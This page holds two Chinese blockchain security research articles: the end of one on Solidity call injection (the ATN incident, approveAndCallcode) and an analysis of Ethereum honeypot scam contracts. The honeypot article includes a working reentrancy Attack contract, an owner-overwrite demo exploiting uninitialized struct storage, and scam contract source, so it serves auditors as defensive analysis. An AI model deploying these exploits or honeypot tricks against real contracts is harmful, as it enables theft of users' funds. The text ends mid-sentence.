函数为自己发行代币,最后黑客再次调用setOwner()
将权限还原,企图销毁作案现场。黑客攻击链:
得力于 ATN 代币团队及时发现问题,并高效的解决问题,此次事件并未对 ATN 代币造成较大的波动;ATN 代币团队封锁了黑客账户,也销毁了由黑客发行的 1100W 个代币,最后在交易所的配合下追踪黑客。
2.大量代币使用不安全代码
对于第二种利用模型,在目前公开的智能合约中,仍有不少合约使用这种不安全的代码,为了实现通知接收方以完成后续的操作,加入了一个高度自由的回调函数方法。以下是存在安全隐患的代码片段:
(etherscan: https://etherscan.io/address/0xbe803e33c0bbd4b672b97158ce21f80c0b6f3aa6#code)
1234567891011121314151617181920...function transfer(address _to, uint256 _value) public returns (bool success) {require(_to != address(0));require(_value <= balances[msg.sender]);require(balances[_to] + _value > balances[_to]);balances[msg.sender] -= _value;balances[_to] += _value;Transfer(msg.sender, _to, _value);return true;}...function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {allowed[msg.sender][_spender] = _value;Approval(msg.sender, _spender, _value);if(!_spender.call(_extraData)) { revert(); }return true;}...黑客通过调用
approveAndCallcode()
函数,将合约地址作为_spender
参数,并将transfer()
的调用转换为字节序列作为_extraData
参数,最终调用transfer()
函数。在transfer()
函数中,_to
参数为黑客的地址,而此时msg.sender
的值已经是合约本身的地址了,黑客通过这种方式,成功窃取了合约地址中的代币。黑客攻击链:
对于上述所描述的安全问题目前还不能造成直接的经济损失。在对这类智能合约的审计过程中,发现目前大量的代币合约不会使用到合约本身的地址作为存储单元,也就是说 合约地址所对应的代币量为 0 (
balances[address(this)] == 0
)。但这种不安全的代码很难猜测到在后续的发展中,会引起什么样的问题,应该保持关注并避免这种不安全的代码。0x04 callcode 安全问题
callcode: 调用后内置变量
msg
的值会修改为调用者,但执行环境为调用者的运行环境。由于
callcode
同时包含了call
和delegatecall
的特性,通过上文对call
和delegatecall
的安全问题进行了分析和举例,可以得出的结论是call
和delegatecall
存在的安全问题将同时存在于callcode
中,这里不再进行详细的分析。0x05 总结
目前,区块链技术极高的热度促使该技术不断的投入到了生产环境中,但还没有完整的技术流水线,也没有统一的行业规范,同时 Solidity 语言现在版本为
0.4.25
,还没有发布第一个正式版本,导致基于区块链技术的产品出现各种安全漏洞,部分漏洞可以直接造成经济损失。针对文中所提到的安全隐患,这里给开发者几个建议:
call
、callcode
、delegatecall
调用的自由度极大,并且call
会发生msg
值的改变,需要谨慎的使用这些底层的函数;同时在使用时,需要对调用的合约地址、可调用的函数做严格的限制。call
与callcode
调用会改变msg
的值,会修改msg.sender
为调用者合约的地址,所以在合约中不能轻易将合约本身的地址作为可信地址。delegatecall
与callcode
会拷贝目标代码到自己的环境中执行,所以调用的函数应该做严格的限制,避开调用任意函数的隐患。- 智能合约在部署前必须通过严格的审计和测试。
针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)
[1] Solidity: http://solidity.readthedocs.io/en/v0.4.24/
[2] zeppelin: https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7
[3] seebug.「智能合约消息调用攻防」: https://paper.seebug.org/625/
[4] ATN.IO: https://paper.seebug.org/621/
[5] seebug.DAO攻击事件解析: https://paper.seebug.org/544/
[6] seebug.智能合约call注入攻击: https://paper.seebug.org/624/
[7] Github.ATN: https://github.com/ATNIO/atn-contracts
[8] Github.ERC223: https://github.com/Dexaran/ERC223-token-standard
[9] Github.ds-auth: https://github.com/dapphub/ds-auth
[10]The Parity Wallet Hack Explained: https://blog.zeppelin.solutions/on-the-parity-wallet-multisig-hack-405a8c12e8f7
[11]Github.OpenZeppelin: https://github.com/OpenZeppelin/openzeppelin-solidity/issues/1044
[12]ethereum.call/callcode/delegatecall: https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall
[13]Github.parity: https://github.com/paritytech/parity/blob/4d08e7b0aec46443bf26547b17d10cb302672835/js/src/contracts/snippets/enhanced-wallet.sol
[14]《以太坊技术详解与实战》本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/633/
- call: 最常用的调用方式,调用后内置变量
-
以太坊蜜罐智能合约分析
作者:dawu&0x7F@知道创宇404区块链安全研究团队
时间:2018/06/260x00 前言
在学习区块链相关知识的过程中,拜读过一篇很好的文章《The phenomenon of smart contract honeypots》,作者详细分析了他遇到的三种蜜罐智能合约,并将相关智能合约整理收集到Github项目smart-contract-honeypots。
本文将对文中和评论中提到的 smart-contract-honeypots 和 Solidlity-Vulnerable 项目中的各蜜罐智能合约进行分析,根据分析结果将蜜罐智能合约的欺骗手段分为以下四个方面:
- 古老的欺骗手段
- 神奇的逻辑漏洞
- 新颖的赌博游戏
- 黑客的漏洞利用
基于已知的欺骗手段,我们通过内部的以太坊智能合约审计系统一共寻找到
118
个蜜罐智能合约地址,一共骗取了34.7152916
个以太币(2018/06/26
价值102946
元人民币),详情请移步文末附录部分。0x01 古老的欺骗手段
对于该类蜜罐合约来说,仅仅使用最原始的欺骗手法。
这种手法是拙劣的,但也有着一定的诱导性。1.1 超长空格的欺骗:WhaleGiveaway1
- Github地址:smart-contract-honeypots/WhaleGiveaway1.sol
- 智能合约地址:0x7a4349a749e59a5736efb7826ee3496a2dfd5489
在
github
上看到的合约代码如下:细读代码会发现
GetFreebie()
的条件很容易被满足:1234if(msg.value>1 ether){msg.sender.transfer(this.balance);}只要转账金额大于
1 ether
,就可以取走该智能合约里所有的以太币。但事实绝非如此,让我们做出错误判断的原因在于
github
在显示超长行时不会自动换行。下图是设置了自动换行的本地编辑器截图:图中第
21
行和第29
行就是蜜罐作者通过超长空格
隐藏起来的代码。所以实际的脆弱点
是这样的:12345if(msg.value>1 ether){Owner.transfer(this.balance);msg.sender.transfer(this.balance);}先将账户余额转给合约的创立者,然后再将剩余的账户余额(也就是0)转给转账的用户(受害者)
与之类似的智能合约还有
TestToken
,留待有兴趣的读者继续分析:0x02 神奇的逻辑漏洞
该类蜜罐合约用 2012年春晚小品《天网恢恢》中这么一段来表现最为合适:
送餐员: 外卖一共30元
骗子B: 没零的,100!
送餐员: 行,我找你......70!(送餐员掏出70给骗子B)
骗子A: 哎,等会儿等会儿,我这有零的,30是吧,把那100给我吧!给,30!(骗子A拿走了B给送餐员的100元,又给了送餐员30元)
送餐员: 30元正好,再见!该类漏洞也是如此,在看起来正常的逻辑下,总藏着这样那样的陷阱。
2.1 天上掉下的馅饼:Gift_1_ETH
- Github地址:smart-contract-honeypots/Gift_1_ETH.sol
- 智能合约地址:0xd8993F49F372BB014fB088eaBec95cfDC795CBF6
- 合约关键代码如下:
123456789101112131415161718192021222324252627282930313233contract Gift_1_ETH{bool passHasBeenSet = false;bytes32 public hashPass;function SetPass(bytes32 hash)payable{if(!passHasBeenSet&&(msg.value >= 1 ether)){hashPass = hash;}}function GetGift(bytes pass) returns (bytes32){if( hashPass == sha3(pass)){msg.sender.transfer(this.balance);}return sha3(pass);}function PassHasBeenSet(bytes32 hash){if(hash==hashPass){passHasBeenSet=true;}}}整个智能合约的逻辑很简单,三个关键函数功能如下:
SetPass()
: 在转账大于1 ether
并且passHasBeenSet
为false
(默认值就是false
),就可以设置密码hashPass
。GetGift()
: 在输入的密码加密后与hashPass
相等的情况下,就可以取走合约里所有的以太币。PassHasBeenSet()
:如果输入的hash
与hashPass
相等,则passHasBeenSet
将会被设置成true
。
如果我们想取走合约里所有的以太币,只需要按照如下流程进行操作:
推特用户
Alexey Pertsev
还为此写了一个获取礼物的EXP
。但实际场景中,受害者转入一个以太币后并没有获取到整个智能合约的余额,这是为什么呢?
这是因为在合约创立之后,任何人都可以对合约进行操作,包括合约的创建者:
合约创建者在合约
被攻击
前,设置一个只有创建者知道的密码并将passHasBeenSet
置为True
,将只有合约创建者可以取出智能合约中的以太币。与之类似的智能合约还有
NEW_YEARS_GIFT
:- Github地址:Solidlity-Vulnerable/honeypots/NEW_YEARS_GIFT.sol
- 智能合约地址:0x13c547Ff0888A0A876E6F1304eaeFE9E6E06FC4B
2.2 合约永远比你有钱:MultiplicatorX3
- Github地址:smart-contract-honeypots/MultiplicatorX3.sol smart-contract-honeypots/Multiplicator.sol
- 智能合约地址:0x5aA88d2901C68fdA244f1D0584400368d2C8e739
- 合约关键代码如下:
123456789<span class="kd">function</span> <span class="nx">multiplicate</span><span class="p">(</span><span class="nx">address</span> <span class="nx">adr</span><span class="p">)</span><span class="kr">public</span><span class="nx">payable</span><span class="p">{</span><span class="k">if</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">value</span><span class="o">>=</span><span class="k">this</span><span class="p">.</span><span class="nx">balance</span><span class="p">)</span><span class="p">{</span><span class="nx">adr</span><span class="p">.</span><span class="nx">transfer</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">balance</span><span class="o">+</span><span class="nx">msg</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span><span class="p">}</span><span class="p">}</span>对于
multiplicate()
而言,只要你转账的金额大于账户余额,就可以把账户余额
和你本次转账的金额
都转给一个可控的地址。在这里我们需要知道:在调用
multiplicate()
时,账户余额 = 之前的账户余额 + 本次转账的金额。所以msg.value >= this.balance
只有在原余额为0,转账数量为0的时候才会成立。也就意味着,账户余额永远不会比转账金额小。与之类似的智能合约还有
PINCODE
:- Github地址:Solidlity-Vulnerable/honeypots/PINCODE.sol
- 智能合约地址:0x35c3034556b81132e682db2f879e6f30721b847c
2.3 谁是合约主人:TestBank
- Github地址:smart-contract-honeypots/TestBank.sol
- 智能合约地址:0x70C01853e4430cae353c9a7AE232a6a95f6CaFd9
- 合约关键代码如下:
12345678910111213141516171819contract Owned {address public owner;function Owned() { owner = msg.sender; }modifier onlyOwner{ if (msg.sender != owner) revert(); _; }}contract TestBank is Owned {address public owner = msg.sender;uint256 ecode;uint256 evalue;function useEmergencyCode(uint256 code) public payable {if ((code == ecode) && (msg.value == evalue)) owner = msg.sender;}function withdraw(uint amount) public onlyOwner {require(amount <= this.balance);msg.sender.transfer(amount);}根据关键代码的内容,如果我们可以通过
useEmergencyCode()
中的判断,那就可以将owner
设置为我们的地址,然后通过withdraw()
函数就可以取出合约中的以太币。如果你也有了上述的分析,那么就需要学习一下
Solidity
中继承的相关知识参考链接5:该部分引用自参考链接5
重点:Solidity的继承原理是代码拷贝,因此换句话说,继承的写法总是能够写成一个单独的合约。
情况五:子类父类有相同名字的变量。 父类A的test1操纵父类中的variable,子类B中的test2操纵子类中的variable,父类中的test2因为没被调用所以不存在。 解释:对EVM来说,每个storage variable都会有一个唯一标识的slot id。在下面的例子说,虽然都叫做variable,但是从bytecode角度来看,他们是由不同的slot id来确定的,因此也和变量叫什么没有关系。12345678910111213141516171819202122232425262728293031contract A{uint variable = 0;function test1(uint a) returns(uint){variable++;return variable;}function test2(uint a) returns(uint){variable += a;return variable;}}contract B is A{uint variable = 0;function test2(uint a) returns(uint){variable++;return variable;}}====================contract B{uint variable1 = 0;uint variable2 = 0;function test1(uint a) returns(uint v){variable1++;return variable1;}function test2(uint a) returns(uint v){variable2++;return variable2;}}根据样例中的代码,我们将该合约的核心代码修改如下:
12345678910111213141516contract TestBank is Owned {address public owner1 = msg.sender;modifier onlyOwner{ if (msg.sender != owner1) revert(); _; }address public owner2 = msg.sender;uint256 ecode;uint256 evalue;function useEmergencyCode(uint256 code) public payable {if ((code == ecode) && (msg.value == evalue)) owner2 = msg.sender;}function withdraw(uint amount) public onlyOwner {require(amount <= this.balance);msg.sender.transfer(amount);}变量
owner1
是父类Owner
中的owner
变量,而owner2
是子类TestBank
中的变量。useEmergencyCode()
函数只会修改owner2
,而非owner1
,自然无法调用withdraw()
。 由于调用useEmergencyCode()
时需要转作者设置的evalue wei
的以太币,所以只会造成以太币白白丢失。0x03 新颖的赌博游戏
区块链的去中心化给博彩行业带来了新的机遇,然而久赌必输这句话也不无道理。
本章将会给介绍四个基于区块链的赌博游戏并分析庄家如何赢钱的。3.1 加密轮盘赌轮:CryptoRoulette
- Github地址:smart-contract-honeypots/CryptoRoulette.sol Solidlity-Vulnerable/honeypots/CryptoRoulette.sol
- 智能合约地址:0x94602b0E2512DdAd62a935763BF1277c973B2758
- 合约关键代码如下:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647// CryptoRoulette//// Guess the number secretly stored in the blockchain and win the whole contract balance!// A new number is randomly chosen after each try.//// To play, call the play() method with the guessed number (1-20). Bet price: 0.1 ethercontract CryptoRoulette {uint256 private secretNumber;uint256 public lastPlayed;uint256 public betPrice = 0.1 ether;address public ownerAddr;struct Game {address player;uint256 number;}function shuffle() internal {// randomly set secretNumber with a value between 1 and 20secretNumber = uint8(sha3(now, block.blockhash(block.number-1))) % 20 + 1;}function play(uint256 number) payable public {require(msg.value >= betPrice && number <= 10);Game game;game.player = msg.sender;game.number = number;gamesPlayed.push(game);if (number == secretNumber) {// win!msg.sender.transfer(this.balance);}shuffle();lastPlayed = now;}function kill() public {if (msg.sender == ownerAddr && now > lastPlayed + 1 days) {suicide(msg.sender);}}}该合约设置了一个
1-20
的随机数:secretNumber
,玩家通过调用play()
去尝试竞猜这个数字,如果猜对,就可以取走合约中所有的钱并重新设置随机数secretNumber
。这里存在两层猫腻。第一层猫腻就出在这个
play()
。play()
需要满足两个条件才会运行:- msg.value >= betPrice,也就是每次竞猜都需要发送至少
0.1
个以太币。 - number <= 10,竞猜的数字不能大于
10
。
由于生成的随机数在
1-20
之间,而竞猜的数字不能大于10
, 那么如果随机数大于10
呢?将不会有人能竞猜成功!所有被用于竞猜的以太币都会一直存储在智能合约中。最终合约拥有者可以通过kill()
函数取出智能合约中所有的以太币。在实际的场景中,我们还遇到过生成的随机数在
1-10
之间,竞猜数字不能大于10
的智能合约。这样的合约看似保证了正常的竞猜概率,但却依旧是蜜罐智能合约!这与前文说到的第二层猫腻有关。我们将会在下一节3.2 开放地址彩票:OpenAddressLottery
中说到相关细节。有兴趣的读者可以读完3.2节
后再回来重新分析一下该合约。3.2 开放地址彩票:OpenAddressLottery
3.2.1 蜜罐智能合约分析
- Github地址:Solidlity-Vulnerable/honeypots/OpenAddressLottery.sol
- 智能合约地址:0xd1915A2bCC4B77794d64c4e483E43444193373Fa
- 合约关键代码如下:
12345678910111213141516171819202122232425contract OpenAddressLottery{struct SeedComponents{uint component1;uint component2;uint component3;uint component4;}address owner; //address of the owneruint private secretSeed; //seed used to calculate number of an addressuint private lastReseed; //last reseed - used to automatically reseed the contract every 1000 blocksuint LuckyNumber = 1; //if the number of an address equals 1, it winsfunction forceReseed() { //reseed initiated by the owner - for testing purposesrequire(msg.sender==owner);SeedComponents s;s.component1 = uint(msg.sender);s.component2 = uint256(block.blockhash(block.number - 1));s.component3 = block.difficulty*(uint)(block.coinbase);s.component4 = tx.gasprice * 7;reseed(s); //reseed}}OpenAddressLottery
的逻辑很简单,每次竞猜,都会根据竞猜者的地址随机生成 0 或者 1,如果生成的值和LuckyNumber
相等的话(LuckyNumber
初始值为1
),那么竞猜者将会获得1.9
倍的奖金。对于安全研究人员来说,这个合约可能是这些蜜罐智能合约中价值最高的一个。在这里,我将会使用一个
demo
来说一说Solidity
编译器的一个bug
:123456789101112131415161718192021222324pragma solidity ^0.4.24;contract OpenAddressLottery_test{address public addr = 0xa;uint public b = 2;uint256 public c = 3;bytes public d = "zzzz";struct SeedComponents{uint256 component1;uint256 component2;uint256 component3;uint256 component4;}function test() public{SeedComponents s;s.component1 = 252;s.component2 = 253;s.component3 = 254;s.component4 = 255;}}在运行
test()
之前,addr
、b
、c
、d
的值如下图所示:在运行了
test()
之后,各值均被覆盖。这个
bug
已经被提交给官方,并将在Solidity 0.5.0
中被修复。截止笔者发文,
Solidity 0.5.0
依旧没有推出。这也就意味着,目前所有的智能合约都可能会受到该bug
的影响。我们将会在 3.2.2节 中说一说这个bug
可能的影响面。想了解蜜罐智能合约而非bug攻击面的读者可以跳过这一小节对于该蜜罐智能合约而言,当
forceReseed()
被调用后,s.component4 = tx.gasprice * 7;
将会覆盖掉LuckyNumber
的值,使之为7
。而用户生成的竞猜数字只会是1
或者0
,这也就意味着用户将永远不可能赢得彩票。3.2.2
Solidity 0.4.x
结构体局部变量量引起的变量量覆盖在
3.2.1节
中,介绍了OpenAddressLottery
智能合约使用未初始化的结构体局部变量直接覆盖智能合约中定义的前几个变量,从而达到修改变量值的目的。按照这种思路,特意构造某些参数的顺序,比如将智能合约的余额值放在首部,那么通过变量覆盖就可以修改余额值;除此之外,如果智能合约中常用的
owner
变量定义在首部,便可以造成权限提升。示例代码1
如下(编译器选择最新的0.4.25-nightly.2018.6.22+commit.9b67bdb3.Emscripten.clang
):1234567891011121314151617181920212223pragma solidity ^0.4.0;contract Test {address public owner;address public a;struct Seed {address x;uint256 y;}function Test() {owner = msg.sender;a = 0x1111111111111111111111111111111111111111;}function fake_foo(uint256 n) public {Seed s;s.x = msg.sender;s.y = n;}}如图所示,攻击者
0x583031d1113ad414f02576bd6afabfb302140225
在调用fake_foo()
之后,成功将owner
修改成自己。在
2.3节
中,介绍了Solidity
的继承原理是代码拷贝。也就是最终都能写成一个单独的合约。这也就意味着,该bug
也会影响到被继承的父类变量,示例代码2
如下:1234567891011121314151617181920212223242526pragma solidity ^0.4.0;contract Owner {address public owner;modifier onlyOwner {require(owner == msg.sender);_;}}contract Test is Owner {struct Seed {address x;}function Test() {owner = msg.sender;}function fake_foo() public {Seed s;s.x = msg.sender;}}相比于
示例代码1
,示例代码2
更容易出现在现实生活中。由于示例代码2
配合复杂的逻辑隐蔽性较高,更容易被不良合约发布者利用。比如利用这种特性留后门
。在参考链接10中,开发者认为由于某些原因,让编译器通过警告的方式通知用户更合适。所以在目前
0.4.x
版本中,编译器会通过警告的方式通知智能合约开发者;但这种存在安全隐患的代码是可以通过编译并部署的。solidity
开发者将在0.5.0
版本将该类问题归于错误处理。3.3 山丘之王:KingOfTheHill
- Github地址:Solidlity-Vulnerable/honeypots/KingOfTheHill.sol
- 智能合约地址:0x4dc76cfc65b14b3fd83c8bc8b895482f3cbc150a
- 合约关键代码如下:
1234567891011121314151617181920212223242526272829contract Owned {address owner;function Owned() {owner = msg.sender;}modifier onlyOwner{if (msg.sender != owner)revert();_;}}contract KingOfTheHill is Owned {address public owner;function() public payable {if (msg.value > jackpot) {owner = msg.sender;withdrawDelay = block.timestamp + 5 days;}jackpot+=msg.value;}function takeAll() public onlyOwner {require(block.timestamp >= withdrawDelay);msg.sender.transfer(this.balance);jackpot=0;}}这个合约的逻辑是:每次请求
fallback()
,变量jackopt
就是加上本次传入的金额。如果你传入的金额大于之前的jackopt
,那么owner
就会变成你的地址。看到这个代码逻辑,你是否感觉和
2.2节
、2.3节
有一定类似呢?让我们先看第一个问题:
msg.value > jackopt
是否可以成立?答案是肯定的,由于jackopt+=msg.value
在msg.value > jackopt
判断之后,所以不会出现2.2节
合约永远比你钱多的情况。然而这个合约存在与
2.3节
同样的问题。在msg.value > jackopt
的情况下,KingOfTheHill
中的owner
被修改为发送者的地址,但Owned
中的owner
依旧是合约创建人的地址。这也就意味着取钱函数takeAll()
将永远只有庄家才能调用,所有的账户余额都将会进入庄家的口袋。与之类似的智能合约还有
RichestTakeAll
:- Github地址:Solidlity-Vulnerable/honeypots/RichestTakeAll.sol
- 智能合约地址:0xe65c53087e1a40b7c53b9a0ea3c2562ae2dfeb24
3.4 以太币竞争游戏:RACEFORETH
- Github地址:Solidlity-Vulnerable/honeypots/RACEFORETH.sol
- 合约关键代码如下:
1234567891011121314151617181920212223contract RACEFORETH {uint256 public SCORE_TO_WIN = 100 finney;uint256 public speed_limit = 50 finney;function race() public payable {if (racerSpeedLimit[msg.sender] == 0) { racerSpeedLimit[msg.sender] = speed_limit; }require(msg.value <= racerSpeedLimit[msg.sender] && msg.value > 1 wei);racerScore[msg.sender] += msg.value;racerSpeedLimit[msg.sender] = (racerSpeedLimit[msg.sender] / 2);latestTimestamp = now;// YOU WONif (racerScore[msg.sender] >= SCORE_TO_WIN) {msg.sender.transfer(PRIZE);}}function () public payable {race();}}这个智能合约有趣的地方在于它设置了最大转账上限是
50 finney
,最小转账下限是2 wei
(条件是大于1 wei
,也就是最小2 wei
)。每次转账之后,最大转账上限都会缩小成原来的一半,当总转账数量大于等于100 finney
,那就可以取出庄家在初始化智能合约时放进的钱。假设我们转账了
x
次,那我们最多可以转的金额如下:150 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... 50 * (1/2)^x根据高中的知识可以知道,该数字将会永远小于
100
150 * (1/2)^0 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... < 50 * 2而智能合约中设置的赢取条件就是总转账数量大于等于
100 finney
。这也就意味着,没有人可以达到赢取的条件!0x04 黑客的漏洞利用
利用重入漏洞的The DAO事件直接导致了以太坊的硬分叉、利用整数溢出漏洞可能导致代币交易出现问题。
DASP TOP10 中的前三: 重入漏洞、访问控制、算数问题在这些蜜罐智能合约中均有体现。黑客在这场欺诈者的游戏中扮演着不可或缺的角色。4.1 私人银行(重入漏洞):PrivateBank
- Github地址:smart-contract-honeypots/PrivateBank.sol Solidlity-Vulnerable/honeypots/PRIVATE_BANK.sol
- 智能合约地址:0x95d34980095380851902ccd9a1fb4c813c2cb639
- 合约关键代码如下:
123456789101112function CashOut(uint _am){if(_am<=balances[msg.sender]){if(msg.sender.call.value(_am)()){balances[msg.sender]-=_am;TransferLog.AddMessage(msg.sender,_am,"CashOut");}}}了解过
DAO
事件以及重入漏洞可以很明显地看出,CashOut()
存在重入漏洞。在了解重入漏洞之前,让我们先了解三个知识点:
Solidity
的代码执行限制。为了防止以太坊网络被攻击或滥用,智能合约执行的每一步都需要消耗gas
,俗称燃料。如果燃料消耗完了但合约没有执行完成,合约状态会回滚。addr.call.value()()
,通过call()
的方式进行转账,会传递目前所有的gas
进行调用。- 回退函数
fallback()
: 回退函数将会在智能合约的call
中被调用。
如果我们调用合约中的
CashOut()
,关键代码的调用过程如下图:由于回退函数可控,如果我们在回退函数中再次调用
CashOut()
, 由于满足_am<=balances[msg.sender]
,将会再次转账,因此不断循环,直至 合约中以太币被转完或gas
消耗完。根据上述分析写出攻击的代码如下:
1234567891011121314151617181920212223242526272829303132contract Attack {address owner;address victim;function Attack() payable { owner = msg.sender; }function setVictim(address target) { victim = target; }function step1(uint256 amount) payable {if (this.balance >= amount) {victim.call.value(amount)(bytes4(keccak256("Deposit()")));}}function step2(uint256 amount) {victim.call(bytes4(keccak256("CashOut(uint256)")), amount);}// selfdestruct, send all balance to ownerfunction stopAttack() {selfdestruct(owner);}function startAttack(uint256 amount) {step1(amount);step2(amount / 2);}function () payable {victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);}}模拟的攻击步骤如下:
- 正常用户
A
(地址:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
)向该合约存入50 ether
。
- 恶意攻击者
B
(地址:0x583031d1113ad414f02576bd6afabfb302140225
)新建恶意智能合约Attack,实施攻击。不仅取出了自己存入的10 ether
,还取出了A
存入的50 ether
。用户A
的余额还是50 ether
,而恶意攻击者B
的余额也因为发生溢出变成115792089237316195423570985008687907853269984665640564039407584007913129639936
。
虽然此时用户A的余额仍然存在,但由于合约中已经没有以太币了,所以A将无法取出其存入的50个以太币
根据以上的案例可以得出如下结论:当普通用户将以太币存取该蜜罐智能合约地址,他的代币将会被恶意攻击者通过重入攻击取出,虽然他依旧能查到在该智能合约中存入的代币数量,但将无法取出相应的代币。
4.2 偷梁换柱的地址(访问控制):firstTest
- Github地址:smart-contract-honeypots/firstTest.sol
- 智能合约地址:0x42dB5Bfe8828f12F164586AF8A992B3a7B038164
- 合约关键代码如下:
12345678910111213141516171819contract firstTest{address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;address adr;uint256 public Limit= 1000000000000000000;function withdrawal()payable public{adr=msg.sender;if(msg.value>Limit){emails.delegatecall(bytes4(sha3("logEvent()")));adr.send(this.balance);}}}逻辑看起去很简单,只要在调用
withdrawal()
时发送超过1 ether
,该合约就会把余额全部转给发送者。至于通过delegatecall()
调用的logEvent()
,谁在意呢?在
DASP TOP10
的漏洞中,排名第二的就是访问控制漏洞,其中就说到delegatecall()
。delegatecall()
和call()
功能类似,区别仅在于delegatecall()
仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。这也就意味着调用的logEvent()
也可以修改该合约中的参数,包括adr
。举个例子,在第一个合约中,我们定义了一个变量
adr
,在第二个合约中通过delegatecall()
调用第一个合约中的logEvent()
。第二个合约中的第一个变量就变成了0x1111
。这也就意味着攻击者完全有能力在logEvent()
里面修改adr
的值。为了验证我们的猜测,使用
evmdis
逆向0x25df6e3da49f41ef5b99e139c87abc12c3583d13
地址处的opcode
。logEvent()
处的关键逻辑如下:翻译成
Solidity
的伪代码大致是:12345function logEvent(){if (storage[0] == 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B){storage[2] = address of current contract;}}这也就意味着,在调用蜜罐智能合约
firstTest
中的withdrawal()
时,emails.delegatecall(bytes4(sha3("logEvent()")));
将会判断第一个变量Owner
是否是0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B
,如果相等,就把adr
设置为当前合约的地址。最终将会将该合约中的余额转给当前合约而非消息的发送者。adr
参数被偷梁换柱!4.3 仅仅是测试?(整数溢出):For_Test
- Github地址:Solidlity-Vulnerable/honeypots/For_Test.sol
- 智能合约地址:0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229
- 合约关键代码如下:
123456789101112131415161718192021222324252627282930pragma solidity ^0.4.19;contract For_Test{function Test()payablepublic{if(msg.value> 0.1 ether){uint256 multi =0;uint256 amountToTransfer=0;for(var i=0;i<msg.value*2;i++){multi=i*2;if(multi<amountToTransfer){break;}else{amountToTransfer=multi;}}msg.sender.transfer(amountToTransfer);}}}在说逻辑之前,我们需要明白两个概念:
msg.value
的单位是wei
。举个例子,当我们转1 ether
时,msg.value = 1000000000000000000 (wei)
- 当我们使用
var i
时,i
的数据类型将是uint8
,这个可以在Solidity
官方手册上找到。
如同官方文档所说,当
i = 255
后,执行i++
,将会发生整数溢出,i
的值重新变成0
,这样循环将不会结束。根据这个智能合约的内容,只要转超过
0.1 ether
并调用Test()
,将会进入循环最终得到amountToTransfer
的值,并将amountToTransfer wei
发送给访问者。在不考虑整数溢出的情况下,amountToTransfer
将会是msg.value * 2
。这也是这个蜜罐合约吸引人的地方。正是由于
for
循环中的i
存在整数溢出,在i=255
执行i++
后,i = 0
导致multi = 0 < amountToTransfer
,提前终止了循环。细细算来,转账至少了
0.1 ether(100000000000000000 wei)
的以太币,该智能合约转回510 wei
以太币。损失巨大。与之类似的智能合约还有
Test1
:- Github地址:smart-contract-honeypots/Test1.sol
4.4 股息分配(老版本编译器漏洞):DividendDistributor
- Github地址:Solidlity-Vulnerable/honeypots/DividendDistributor.sol
- 智能合约地址:0x858c9eaf3ace37d2bedb4a1eb6b8805ffe801bba
- 合约关键代码如下:
123456789101112131415function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected{if(! target.call.value(amount)() )throw;Transfer(amount, message, target, currentOwner);}function divest(uint amount) public {if ( investors[msg.sender].investment == 0 || amount == 0)throw;// no need to test, this will throw if amount > investmentinvestors[msg.sender].investment -= amount;sumInvested -= amount;this.loggedTransfer(amount, "", msg.sender, owner);}该智能合约大致有存钱、计算利息、取钱等操作。在最开始的分析中,笔者并未在整个合约中找到任何存在漏洞、不正常的地方,使用
Remix
模拟也没有出现任何问题,一度怀疑该合约是否真的是蜜罐。直到打开了智能合约地址对应的页面:在
Solidity 0.4.12
之前,存在一个bug,如果空字符串""
用作函数调用的参数,则编码器会跳过它。举例:当我们调用了
send(from,to,"",amount)
, 经过编译器处理后的调用则是send(from,to,amount)
。 编写测试代码如下:123456789101112131415pragma solidity ^0.4.0;contract DividendDistributorv3{event Transfer(uint amount,bytes32 message,address target,address currentOwner);function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner){Transfer(amount, message, target, currentOwner);}function divest() public {this.loggedTransfer(1, "a", 0x1, 0x2);this.loggedTransfer(1, "", 0x1, 0x2);}}在
Remix
中将编译器版本修改为0.4.11+commit.68ef5810.Emscripten.clang
后,执行divest()
函数结果如下:在这个智能合约中也是如此。当我们需要调用
divest()
取出我们存进去的钱,最终将会调用this.loggedTransfer(amount, "", msg.sender, owner);
。因为编译器的
bug
,最终调用的是this.loggedTransfer(amount, msg.sender, owner);
,具体的转账函数处就是owner.call.value(amount)
。成功的将原本要转给msg.sender()
的以太币转给合约的拥有者
。合约拥有者成功盗币!0x05 后记
在分析过程中,我愈发认识到这些蜜罐智能合约与原始的蜜罐概念是有一定差别的。相较于蜜罐是诱导攻击者进行攻击,智能合约蜜罐的目的变成了诱导别人转账到合约地址。在欺骗手法上,也有了更多的方式,部分方式具有强烈的参考价值,值得学习。
这些蜜罐智能合约的目的性更强,显著区别与普通的
钓鱼
行为。相较于钓鱼行为面向大众,蜜罐智能合约主要面向的是智能合约开发者
、智能合约代码审计人员
或拥有一定技术背景的黑客
。因为蜜罐智能合约门槛更高,需要能够看懂智能合约才可能会上当,非常有针对性,所以使用蜜罐
这个词,我认为是非常贴切的。这也对
智能合约代码审计人员
提出了更高的要求,不能只看懂代码,要了解代码潜在的逻辑和威胁、了解外部可能的影响面(例如编辑器bug
等),才能知其然也知其所以然。对于
智能合约代码开发者
来说,先知攻
